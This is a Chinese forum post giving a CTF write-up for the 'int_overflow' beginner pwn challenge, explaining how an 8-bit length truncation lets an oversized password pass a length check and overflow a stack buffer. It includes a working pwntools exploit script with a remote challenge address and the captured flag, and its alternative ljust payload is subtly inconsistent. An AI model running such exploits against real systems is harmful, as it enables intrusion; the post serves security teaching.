首页
论坛
课程
招聘
[原创]攻防世界PWN新手区:int_overflow
2022-4-6 11:17 4668

[原创]攻防世界PWN新手区:int_overflow

2022-4-6 11:17
4668

一、基础信息探查:

常规流程:file、checksec和运行程序

 


 

开了NX保护

二、整数溢出:

根据题目的提示,这里的知识点是整数溢出,那么What is the int_flow?

 

由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。

 

具体的证书溢出看之前的笔记分析:
https://magnificent-syrup-61f.notion.site/f3e9be83616e45a8a4865709f737413c

三、逆向分析:

丢进ida32分析:

main()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch] BYREF
 
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

结合运行的结果可以知道主函数会接收一个值,然后做分支语句选择调用login()函数还是输出“Bye~”

login( )函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *login()
{
  char buf[512]; // [esp+0h] [ebp-228h] BYREF
  char s[40]; // [esp+200h] [ebp-28h] BYREF
 
  memset(s, 0, 0x20u);
  memset(buf, 0, sizeof(buf));
  puts("Please input your username:");
  read(0, s, 0x19u);
  printf("Hello %s\n", s);
  puts("Please input your passwd:");
  read(0, buf, 0x199u);
  return check_passwd(buf);
}

这个函数主要负责的就是接收用户名和密码,先判断这里是否有溢出点:buf变量负责接收密码,它定义的空间大小为512字节,而read函数只读取了409字节,它读取的空间小于自己本身所占的空间所以不满足溢出条件。再看s变量,它负责接收用户名,定义的空间大小为40字节,而接收的最大空间大小只有25字节,同样也不满足溢出条件,这里接收的两个值在这个函数的栈空间都不满足溢出条件,只能另找出路。可以看到返回时还调用了check_passwd函数,接着分析该函数:

check_passwd()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest[11]; // [esp+4h] [ebp-14h] BYREF
  unsigned __int8 len; // [esp+Fh] [ebp-9h]
 
  len = strlen(s);
  if ( len <= 3u || len > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(dest, s);
  }
  return result;
}

这个函数是对接收的密码进行判断,首先密码的长度要在4到8之间。这里注意一个地方就是存放strlen的len变量空间大小只有一字节,根据题目名称的提示我们可以联想到的一个点就是只要我们输入的长度值大于一个字节能存储的空间,就可以导致一个问题就是整数溢出,这里举个例子:

1
2
3
4
5
6
unsigned __int8 len;
len = 257;
 
257转换为2进制为:1 0000 0001
但是len的空间大小只够装入8位的地址空间,系统会自动截断前面溢出的部分,只留下后8
也就是最后存入的值为:0000 0001

通过分析login函数我们知道了接收密码的buf变量可以接收的最大地址空间为409字节,这个空间完全够我们构造栈溢出了,因为要想通过if判断len的值必须要在4~8之间,所以要构造的payload的总长度在260(1 0000 0100)字节~264(1 0000 1000)字节之间。

 

确定了栈溢出的方式,接下来看payload如何构造:
首先观察其栈空间:

 

程序从dest开始总共分配了0x14个字节的地址空间,之后是4个字节的esp值,最后就是四个字节我们要修改的返回地址。

 

分析到这就万事俱备只欠后门函数了,这里我吸取了上次的教训先观察一下函数的窗口:

 

这个函数已看就不正常,进去看一下里面的代码:

1
2
3
4
int what_is_this()
{
  return system("cat flag");
}

好了,后门函数也找到了,下面写shellcode。

四、shellcode编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
context(os='linux',arch='x86',log_level="debug")    #arch的参数为:'x86'、'amd64'
content = 1
 
def main():
    if content == 1:
        sh = process("int_overflow")                    #打本地
    else:
        sh = remote("111.200.241.244",57990)      #打远程
 
    payload = b'A' * (0x14 + 4) + p32(0x804868B) + b'A' * 234
    sh.sendlineafter("Your choice:", '1')
    sh.sendlineafter("Please input your username:\n", "hahaha")
    sh.sendlineafter("Please input your passwd:\n", payload)
    sh.interactive()
 
if __name__ == '__main__':
    main()

这里补充一个python的知识点:ljust()方法

 

用于返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。

 

这里的payload还可以这么写:

1
2
payload = b'A' * (0x14 + 4) + p32(0x804868B)
payload = payload.ljust(234,'A')


cyberpeace{2045fa7e3286f5b911ed7f0515ede0ad}


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回